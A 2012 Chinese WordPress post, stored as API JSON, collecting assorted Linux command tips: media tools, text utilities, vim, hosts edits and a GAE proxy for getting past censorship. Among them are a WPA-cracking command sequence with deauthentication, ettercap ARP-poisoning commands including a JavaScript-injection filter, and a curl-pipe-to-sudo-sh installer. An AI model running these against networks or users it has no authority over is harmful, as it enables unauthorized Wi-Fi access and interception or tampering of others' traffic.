{"id":1835,"date":"2012-03-23T22:51:00","date_gmt":"2012-03-23T02:51:00","guid":{"rendered":""},"modified":"2013-11-19T21:05:46","modified_gmt":"2013-11-19T13:05:46","slug":"linux%e5%91%bd%e4%bb%a4%e7%ac%94%e8%ae%b0%e5%9b%9b","status":"publish","type":"post","link":"https:\/\/kyle.ai\/blog\/1835.html","title":{"rendered":"Linux\u547d\u4ee4\u7b14\u8bb0[\u56db]"},"content":{"rendered":"<p>\u4e8c\u7ef4\u7801\u751f\u6210\u8f6f\u4ef6\uff1asudo apt-get install qrencode<br \/>\n\u8bc6\u522b\u4e8c\u7ef4\u7801\uff1aapt-get install libdecodeqr-examples<\/p>\n<p>\u628a\u56fe\u7247\u8f6c\u6362\u6210 ASCII \u5b57\u7b26\uff1ajp2a &#8211;background=light &#8211;height=16 11.jpg<br \/>\n\u628a\u5b57\u7b26\u8f6c\u6362\u6210\u56fe\u7247\uff1f\u8bd5\u8bd5 a2png<\/p>\n<p>\u5f00\u6e90\u56fe\u6807\u5e93 Open Icon Librar http:\/\/openiconlibrary.sourceforge.net\/<\/p>\n<p>\u91cd\u7f6eCompiz\uff0calt+ctrl+F1 \u8fdb\u5165shell\uff0c\u5728home\u6587\u4ef6\u5939\u4e2d\u6267\u884c find -type d -name &#8220;*compiz*&#8221; | xargs -i rm -rf {}\u00a0\u00a0 \uff0c\u7136\u540e\u518d alt+F7\u3002<\/p>\n<p>\u5728\u7ec8\u7aef\u4e2d\u7528cat\u547d\u4ee4\u67e5\u770b\u4e8c\u8fdb\u5236\u6587\u4ef6\u5bfc\u81f4\u7ec8\u7aef\u4e71\u7801\uff0c\u8f93\u5165reset\u547d\u4ee4\u540e\u5373\u53ef\u6b63\u5e38\u3002<\/p>\n<p>grabbs \u51c6\u5219 \uff1a http:\/\/en.wikipedia.org\/wiki\/Grubbs&#8217;_test_for_outliers<br \/>\n\u5b66\u751ft\u5206\u6b65\u8ba1\u7b97\u5e93\uff1aalglib\uff0cpython\u4e2dscipy\u5e93scipy.stats.t\u00a0\u00a0 \uff0c\u5176\u4e2dppf\u4e3ainverse of cdf \uff0c\u4e3ainverse student t distribution<\/p>\n<p>\u89c6\u9891\u5206\u5272\uff1a<br \/>\nmencoder -ss \u5f00\u59cb\u65f6\u95f4 -oac copy -ovc copy -endpos \u7ec8\u6b62\u65f6\u95f4 \u6587\u4ef6\u540d -o \u76ee\u6807\u6587\u4ef6\u540d<br \/>\n\u5408\u5e76\uff1a<br \/>\nmencoder -ovc copy -oac copy \u6587\u4ef6\u540d1 \u6587\u4ef6\u540d2 -o \u76ee\u6807\u6587\u4ef6\u540d<\/p>\n<p>html\u8f6cpdf\uff0csudo apt-get install wkhtmltopdf \uff0c\u7528\u6cd5\uff0cwkhtmltopdf www.baidu.com test.pdf<\/p>\n<p>ibus\u8f93\u5165\u6cd5\u56fe\u6807\u4e0d\u89c1\uff0ckillall ibus-daemon\uff0cibus-daemon -d \u641e\u5b9a<\/p>\n<p>\u67e5\u627e\u7c7b\u4f3c\u76f8\u540c\uff08duplicate\uff09\u56fe\u7247\uff0csudo apt-get install findimagedupes<br \/>\nfindimagedupes -R &#8212;<br \/>\nLook for and compare images in all subdirectories of the current directory.\u8fd8\u80fd\u67e5\u627eGIF\u56fe\u7247\uff0c\u592a\u5f3a\u5927\u4e86\u3002<br \/>\nfindimagedupes -R &#8212; \/media\/E\u76d8\/\u56fe\u7247\/ML\/ | sed &#8220;s\/ \/\\n\/g&#8221; | xargs -i cp {} .<br \/>\n\u67e5\u627e\u91cd\u590d\u7684\u56fe\u7247\uff0c\u7136\u540e\u628a\u6240\u6709\u7ed3\u679c\u7684\u56fe\u7247\u590d\u5236\u5230\u5f53\u524d\u76ee\u5f55\u4e0b\u9762\u3002sed &#8220;s\/ \/\\n\/g&#8221;\u00a0 \u5c06\u7528\u7a7a\u683c\u5206\u9694\u5f00\u7684\u7ed3\u679c\u6362\u884c\u5904\u7406\u3002<\/p>\n<p>cut\u4e3b\u8981\u662f\u7528\u6765\u5206\u5272\u6587\u4ef6\u4e2d\u7684\u5b57\u7b26\u4e32\uff0c\u5e76\u4e14\u6839\u636e\u8981\u6c42\u8fdb\u884c\u663e\u793a\u7684\u4e00\u4e2a\u547d\u4ee4\u3002<br \/>\ncut -d: -f 1 \/etc\/passwd &gt; \/tmp\/users<br \/>\n-d\u7528\u6765\u5b9a\u4e49\u5206\u9694\u7b26\uff0c\u9ed8\u8ba4\u4e3atab\u952e\uff0c-f\u8868\u793a\u9700\u8981\u53d6\u5f97\u54ea\u4e2a\u5b57\u6bb5<br \/>\n\u5f53\u7136\u4e5f\u53ef\u4ee5\u901a\u8fc7cut\u53d6\u5f97\u6587\u4ef6\u4e2d\u6bcf\u884c\u4e2d\u7279\u5b9a\u7684\u51e0\u4e2a\u5b57\u7b26\uff0c\u4f8b\u5982\uff1a<br \/>\ncut -c3-5 \/etc\/passwd<br \/>\n\u5c31\u662f\u8f93\u51fa\/etc\/passwd\u6587\u4ef6\u4e2d\u6bcf\u884c\u7684\u7b2c\u4e09\u5230\u7b2c\u4e94\u4e2a\u5b57\u7b26\u3002<br \/>\ncut -c1-8 \/etc\/passwd |head<br \/>\nhead\u662f\u663e\u793a\u4e00\u4e2a\u6587\u4ef6\u7684\u5185\u5bb9\u7684\u524d\u591a\u5c11\u884c \u9ed8\u8ba4\u662f10\u884c<br \/>\nhead -n file<br \/>\n\u6bd4\u5982\u6211\u4eec\u663e\u793a\/etc\/profile\u7684\u524d10\u884c\u5185\u5bb9\uff0c\u5e94\u8be5\u662f\uff1a<br \/>\nroot@ubuntu# head -n 10 \/etc\/profile<\/p>\n<p>\u6587\u4ef6\u5206\u5272\u4e0e\u7ec4\u88c5\uff1a<br \/>\nsplit -b 20m RevolutionOS.rmvb RevOS_part_<br \/>\n\u201c-b 20m\u201d\u6307\u5b9a\u5206\u5272\u6587\u4ef6\u7684\u5927\u5c0f\u4e3a20M\uff0c\u6587\u4ef6\u540e\u9762\u7684\u201cRevOS_part_\u201d\u662f\u5206\u5272\u6587\u4ef6\u7684\u524d\u7f00<br \/>\n\u7ec4\u88c5\uff1acat RevOS_part_* &gt; RevolutionOS_RSB.rmvb<br \/>\n\u60f3\u8981\u4ee5\u884c\u6570\u4e3a\u5206\u5272\uff0c\u6bd4\u5982\u6bcf100\u884c\u751f\u62101\u4e2a\u6587\u4ef6\uff0c\u53ea\u9700\u8981 -l \u53c2\u6570\uff0c\u5982\u4e0b\uff1a<br \/>\nsplit -l 100 test.txt<\/p>\n<p>sort-n 123.txt\u5c06\u6587\u672c\u4e2d\u7684\u884c\u6392\u5e8f\uff0csort -n test.txt | uniq \u5220\u9664\u91cd\u590d\u884c<br \/>\n\u67e5\u770b\u6587\u4ef6\u4e2d\u91cd\u590d\u884c<br \/>\nsort file1|uniq -d\u00a0 \u6240\u6709\u91cd\u590d\u884c\u7528-D<br \/>\n\u67e5\u770b\u6587\u4ef6\u4e2d\u552f\u4e00\u884c<br \/>\nsort file|uniq -u<\/p>\n<p>Linux\u5f00\u542f\u8fdc\u7a0b\u684c\u9762\u53ef\u4ee5\u7528\u5de5\u5177 x11vnc\uff0cwindows\u5ba2\u6237\u7aef\u5de5\u5177\u7528UtralVnc<br \/>\nsudo apt-get install x11vnc\uff0c\u8fd0\u884c\u76f4\u63a5\u8f93\u5165 x11vnc<\/p>\n<p>\u5229\u7528IPV6\uff0cubuntu\u4e0b\u4f7f\u7528ipv6\u5f88\u7b80\u5355\uff0c\u53ea\u9700\u8981\u4e0b\u9762\u51e0\u6b65<br \/>\nsudo apt-get install miredo<br \/>\nUbuntu\u9ed8\u8ba4\u5b89\u88c5UFW\u9632\u706b\u5899\u8f6f\u4ef6\uff0c\u4fee\u6539ufw\u914d\u7f6e\u6587\u4ef6<br \/>\nsudo vim \/etc\/default\/ufw<br \/>\n\u5c06\u201cIPV6=no\u201d\u6539\u4e3a\u201cIPV6=yes\u201d\u5373\u53ef<br \/>\n\u73b0\u5728\uff0c\u4f60\u53ef\u4ee5\u7528ifconfig\u547d\u4ee4\u67e5\u770b\u5230\u591a\u4e86\u4e00\u4e2a\u96a7\u9053\u4e86<br \/>\n\u8bbf\u95eeipv6.google.com\uff0c\u4e0d\u51fa\u610f\u5916\uff0c\u53ef\u4ee5\u6210\u529f\u8bbf\u95ee\u3002<br \/>\n\u7136\u540e\u4fee\u6539hosts\u6587\u4ef6\uff0c\u5c06\u57df\u540d\u6307\u5411\u672a\u88ab\u5c01(\u548c\u8c10)\u9501\u7684ipv4\u6216ipv6\u5730\u5740\u3002\u4ece\u800c\u7ed5\u8fc7ip\u5c4f\u853d\u53caDNS\u6c61(\u548c\u8c10)\u67d3\u3002<br \/>\nsudo vim \/etc\/hosts<br \/>\n\u6700\u65b0hosts\u8bf7\u81ea\u884c\u641c\u7d22\u3002\u4e0b\u65b9\u9644\u7684hosts\u9700\u722c(\u548c\u8c10)\u5899\u3002<br \/>\n\u63a8\u8350\u5c06ipv4\u53caipv6\u7684hosts\u7ed3\u5408\u4f7f\u7528\u8fbe\u5230\u6700\u4f73\u6548\u679c\u3002\uff08YT\u5fc5\u987b\u4f7f\u7528ipv6\u8fdb\u884c\u8bbf\u95ee\uff0c\u5426\u5219\u53ea\u80fd\u6d4f\u89c8\u800c\u65e0\u6cd5\u64ad\u653e\u3002\uff09<br \/>\n\u4fee\u6539\u5b8chosts\u540e\uff0c\u91cd\u542f\u6d4f\u89c8\u5668\u540e\uff0cFB\u548c\u63a8\u9700\u5728\u7528\u6237\u8bbe\u7f6e\u91cc\u9009\u4e0a\u59cb\u7ec8\u4f7f\u7528https\u52a0\u5bc6\u5b89\u5168\u6d4f\u89c8\u3002<br \/>\n\u4f7f\u7528http\u660e\u6587\u4f1a\u88abGF(\u548c\u8c10)W\u68c0\u7d22\u5230\u800c\u906d\u5230\u91cd\u7f6e\uff0c\u53ef\u624b\u52a8\u5728\u5730\u5740\u680fhttp\u540e\u52a0s\u5728\u56de\u8f66\u8bbf\u95ee\uff0c\u8bbe\u7f6e\u540e\u5c06\u81ea\u52a8\u4f7f\u7528https\u3002<br \/>\n\u8bbe\u7f6e\u5b8c\u540e\uff0c\u53ef\u6b63\u5e38\u8bbf\u95eeGoogle\u3001Twitter\u3001Youtube\u3001Facebook\u7b49\u4e86\u3002<br \/>\n\u9644\uff1aGoogle \u548c\u5404\u79cd\u7f51\u7ad9\u7684 IPv4 \u670d\u52a1 hosts<br \/>\nhttps:\/\/docs.google.com\/document\/pub?id=1GWaVSxitymPsfUOXwl1BOD7rHR_RiolDoR13r1ydSMc<br \/>\nGoogle\u548c\u5404\u79cd\u7f51\u7ad9\u7684IPv6\u670d\u52a1hosts<br \/>\nhttp:\/\/code.google.com\/p\/ipv6-hosts\/<\/p>\n<p>youtube\u89c6\u9891\u4e0b\u8f7d\uff1asudo apt-get install youtube-dl<br \/>\nMP3\u6587\u4ef6\u5408\u5e76\uff0csudo apt-get install mp3wrap<\/p>\n<p>goagent GAE\u4ee3\u7406\u914d\u7f6e\u7b14\u8bb0\uff1a<br \/>\n0.\u4fee\u6539host\uff0c\u589e\u52a0IPV6 host\uff1a<br \/>\n2404:6800:8002::8d yourid.appspot.com<br \/>\n\u6216 ipv6.google.com\uff0c\u524d\u63d0\u8981\u542f\u7528\u4e86IPV6<br \/>\n5.\u7528firefox\u7684autoproxy\uff0c\u8bbe\u7f6e\u4ee3\u7406\u4e3a127.0.0.1\uff0c\u7aef\u53e3\u4e3a\u6211\u4eec\u4e0a\u9762\u914d\u7f6e\u7684\u3002\u6216\u8005\u7528chrome\u7684Proxy SwitchySharp\u3002<\/p>\n<p>\u7f51\u7edc\u6293\u5305\u8fc7\u6ee4\u5de5\u5177\uff1asudo apt-get installngrep\uff0c\u4f8b\u5982\u627emp3\u683c\u5f0f\u7684\u97f3\u4e50\u6587\u4ef6\uff0csudo ngrep -d any -W byline -qwi\u00a0 &#8216;.mp3&#8217;\uff0c\u5177\u4f53\u53c2\u6570\u89c1\u6587\u6863\u3002<\/p>\n<p>\u4e0b\u8f7dApple\u9884\u544a\u7247\uff0c\u53f3\u952e\u590d\u5236mov\u5730\u5740\uff0c\u5982\uff1a http:\/\/trailers.apple.com\/movies\/wb\/inception\/inception-tlr3_1080p.mov\u00a0\u00a0\u00a0 \u5728_1080\u7684_\u540e\u52a0\u4e00\u4e2ah\uff0c\u53d8\u6210\uff1a http:\/\/trailers.apple.com\/movies\/wb\/inception\/inception-tlr3_h1080p.mov \uff0c\u7136\u540ewget -U QuickTime\u00a0 &#8221; http:\/\/trailers.apple.com\/movies\/wb\/inception\/inception-tlr3_h1080p.mov&#8221;<br \/>\nyahoo: wget -L -O 123.mov\u00a0 &#8221; http:\/\/playlist.yahoo.com\/makeplaylist.dll?sdm=web&amp;pt=rd&amp;sid=?????&#8221;<\/p>\n<p>eclipse\u4ee3\u7801\u4e3b\u9898\uff1a http:\/\/www.eclipsecolorthemes.org\/ \u00a0\u5b89\u88c5\u00a0(File-&gt;Import-&gt;Preferences-&gt;xxx.epf-&gt;Finish)<br \/>\nvs2010\u4ee3\u7801\u4e3b\u9898\uff1a http:\/\/studiostyl.es\/<\/p>\n<p>wpa\u7834\u89e3\uff1a<br \/>\nairmon-ng start wlan0<br \/>\nairodump-ng mon0<br \/>\nairodump-ng -c 6 -w wpacrack &#8211;bssid \u76ee\u6807mac mon0<br \/>\naireplay-ng -0 1 -a \u76ee\u6807mac\u00a0 mon0<br \/>\naircrack-ng your.cap -w yourwordlist<\/p>\n<p>\u683c\u5f0f\u5316U\u76d8\uff1asudo mkfs.vfat\u00a0 \/dev\/sdc1\u00a0\u00a0\u00a0 \uff0c\u683c\u5f0f\u5316\u524d\u8981\u5148\u5378\u8f7d umount \/media\/upan<\/p>\n<p>apache 403 You don&#8217;t have permission to access \/ on this server.\u9519\u8bef\uff0c\u89e3\u51b3\uff1a<br \/>\nsudo chown -R root:root \/var\/www\u00a0\u00a0\u00a0 \uff03\u5fc5\u9700\u8981\u4e3aroot\u6240\u6709\u624d\u884c\u3002<br \/>\nsudo chmod -R 755 \/var\/www<br \/>\nsudo \/etc\/init.d\/apache2 restart<\/p>\n<p>\u65e0\u6cd5\u5728\u6a21\u5757\u8def\u5f84\u4e2d\u627e\u5230\u4e3b\u9898\u5f15\u64ce\uff1a\u201cpixmap\u201d<br \/>\n\u89e3\u51b3\u529e\u6cd5:sudo apt-get install gtk2-engines-pixbuf<\/p>\n<p>youtube-dl&#8221; http:\/\/www.youtube.com\/view_play_list?feature=iv&amp;src_vid=MxYl3cnn4yw&amp;p=7604BFACE2442F9A&amp;annotation_id=annotation_860455&#8243; -f 22 -o &#8220;%(title)s.%(ext)s&#8221; &#8211;playlist-start 2<br \/>\n-f 22\u4e3a720P\u7684\u89c6\u9891<br \/>\n-o &#8220;%(title)s.%(ext)s&#8221; \u4fdd\u5b58\u540d\u5b57\u4e3a \u6807\u9898\u52a0\u540e\u7f00<br \/>\n&#8211;playlist-start 2 \u4ece\u5217\u8868\u4e2d\u7684\u7b2c\u4e8c\u4e2a\u5f00\u59cb\u4e0b\u8f7d<\/p>\n<p>sudo shutdown -h +120\u00a0 \/\/\u4e24\u5c0f\u65f6\u5019\u5173\u673a<\/p>\n<p>convert -quality 70 9.jpg 12.jpg\u00a0 \u538b\u7f29\u56fe\u7247\u5927\u5c0f sudo apt-get install imagemagic<\/p>\n<p>ls | grep -v *.11O \u53d6\u53cd\uff0c\u627e\u51fa\u4e0d\u662f\u4ee511O\u4e3a\u540e\u7f00\u7684\u6587\u4ef6<\/p>\n<p>\u5b89\u88c5npm\uff1acurl http:\/\/npmjs.org\/install.sh |sudo sh<br \/>\n\u5b89\u88c5socket.io\u00a0 \uff1anpm install socket.io<\/p>\n<p>etterfilter ig.filter -o ig.ef<br \/>\nettercap -T -q -F ig.ef -M ARP \/192.168.0.100\/ \/\/<br \/>\nsudo ettercap -i eth0 -TQ -F facebook_js_inject.ef -M arp:remote \/192.168.1.1\/ \/\/<\/p>\n<p>goagent\u5728chrome\u5bfc\u5165\u8bc1\u4e66\u4e0a\uff0c\u5728chrome\u7684\u9ad8\u7ea7\u9009\u9879\u4e2d\uff0c\u7ba1\u7406\u8bc1\u4e66\uff0d&gt;\u6388\u6743\u4e2d\u5fc3-&gt;\u5bfc\u5165-&gt;local\/CA.crt<\/p>\n<p>ettercap -TQP scan_poisoner \/\/\u00a0\u00a0 -&gt;Check if someone is poisoning between some host in the list and us.<br \/>\nettercap -TQP arp_cop \/\/<br \/>\nettercap -TQP search_promisc \/\/<\/p>\n<p>vim\uff1a1. \u5982\u4f55\u53ea\u4fdd\u7559\u5339\u914d\u5185\u5bb9\u884c\u800c\u5220\u9664\u5176\u4ed6\u884c?<br \/>\n:v\/pattern\/d<br \/>\n:help :v<br \/>\n2. \u5982\u4f55\u5bf9\u6bcf\u884c\u53ea\u4fdd\u7559\u5339\u914d\u5185\u5bb9\u800c\u5220\u9664\u8fd9\u4e00\u884c\u4e2d\u7684\u5176\u5b83\u5185\u5bb9<br \/>\n:%s\/^.*\\(pattern\\).*$\/\\1\/g<br \/>\n3. \u5220\u9664\u5305\u542b\u7279\u5b9a\u5b57\u7b26\u4e32\u7684\u884c<br \/>\n:g\/pattern\/d<br \/>\n\u4eceVim\u62f7\u8d1d\u5230\u7cfb\u7edf\u7c98\u8d34\u677f\uff1a&#8221;+y<br \/>\n\u4ece\u7cfb\u7edf\u7c98\u8d34\u677f\u62f7\u8d1d\u5230Vim\uff1a&#8221;+p \u6216 Shitf + insert<br \/>\nvim\u91cd\u65b0\u52a0\u8f7d\u6587\u4ef6\u547d\u4ee4\u00a0\u00a0\u00a0\u00a0 :e!<\/p>\n<p>\u52a0\u5bc6\u6587\u4ef6 \uff1a mcrypt filename \u89e3\u5bc6\uff1amdecrypt filename<\/p>\n<p>rar\u6253\u5f00\u4e71\u7801\uff1asudo apt-get remove rar\u00a0\u00a0\u00a0\u00a0 sudo apt-get install p7zip-rar<br \/>\nzip\u4e71\u7801\u88c5p7zip-full<\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u4e8c\u7ef4\u7801\u751f\u6210\u8f6f\u4ef6\uff1asudo apt-get install qrencode \u8bc6\u522b\u4e8c\u7ef4\u7801\uff1aapt-get ins [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[10],"tags":[],"class_list":["post-1835","post","type-post","status-publish","format-standard","hentry","category-my_notes"],"_links":{"self":[{"href":"https:\/\/kyle.ai\/blog\/wp-json\/wp\/v2\/posts\/1835","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/kyle.ai\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/kyle.ai\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/kyle.ai\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/kyle.ai\/blog\/wp-json\/wp\/v2\/comments?post=1835"}],"version-history":[{"count":1,"href":"https:\/\/kyle.ai\/blog\/wp-json\/wp\/v2\/posts\/1835\/revisions"}],"predecessor-version":[{"id":4823,"href":"https:\/\/kyle.ai\/blog\/wp-json\/wp\/v2\/posts\/1835\/revisions\/4823"}],"wp:attachment":[{"href":"https:\/\/kyle.ai\/blog\/wp-json\/wp\/v2\/media?parent=1835"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/kyle.ai\/blog\/wp-json\/wp\/v2\/categories?post=1835"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/kyle.ai\/blog\/wp-json\/wp\/v2\/tags?post=1835"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}